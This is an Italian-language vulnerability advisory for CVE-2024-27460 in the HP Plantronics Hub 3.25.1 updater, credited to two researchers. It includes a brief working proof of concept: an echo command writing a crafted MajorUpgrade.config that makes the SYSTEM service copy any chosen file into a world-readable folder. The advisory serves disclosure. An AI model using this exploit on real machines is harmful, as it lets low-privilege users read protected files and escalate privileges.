CVE-2024-27460

Escalatione dei privilegi/Lettura arbitraria di file in HP Plantronics Hub 3.25.1 Updater

Descrizione:

HP Plantronics Hub 3.25.1 presenta un bug che consente agli utenti con privilegi bassi di eseguire la lettura arbitraria di file come SYSTEM sulla macchina in cui è installata l'applicazione. Inoltre, è possibile sfruttare questa vulnerabilità per escalare i privilegi all'utente SYSTEM.

Versioni interessate

HP Plantronics Hub 3.25.1

Servizi interessati

Percorso non sicuro: "C:\ProgramData\Plantronics\Spokes3G"

Servizio: PlantronicsUpdateService

Passaggi per riprodurre (POC):

• Aprire cmd.exe
• Spostarsi con cd C:\ProgramData\Plantronics\Spokes3G
• echo ^|^|<PERCORSO-COMPLETO-DEL-FILE-DESIDERATO>^|> MajorUpgrade.config
• Il file desiderato verrà copiato in "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp", a cui qualsiasi utente autenticato ha accesso.

Scoperto da:

• Farid Zerrouk di Deloitte Belgium
• Alaa Kachouh di Mastercard Europe.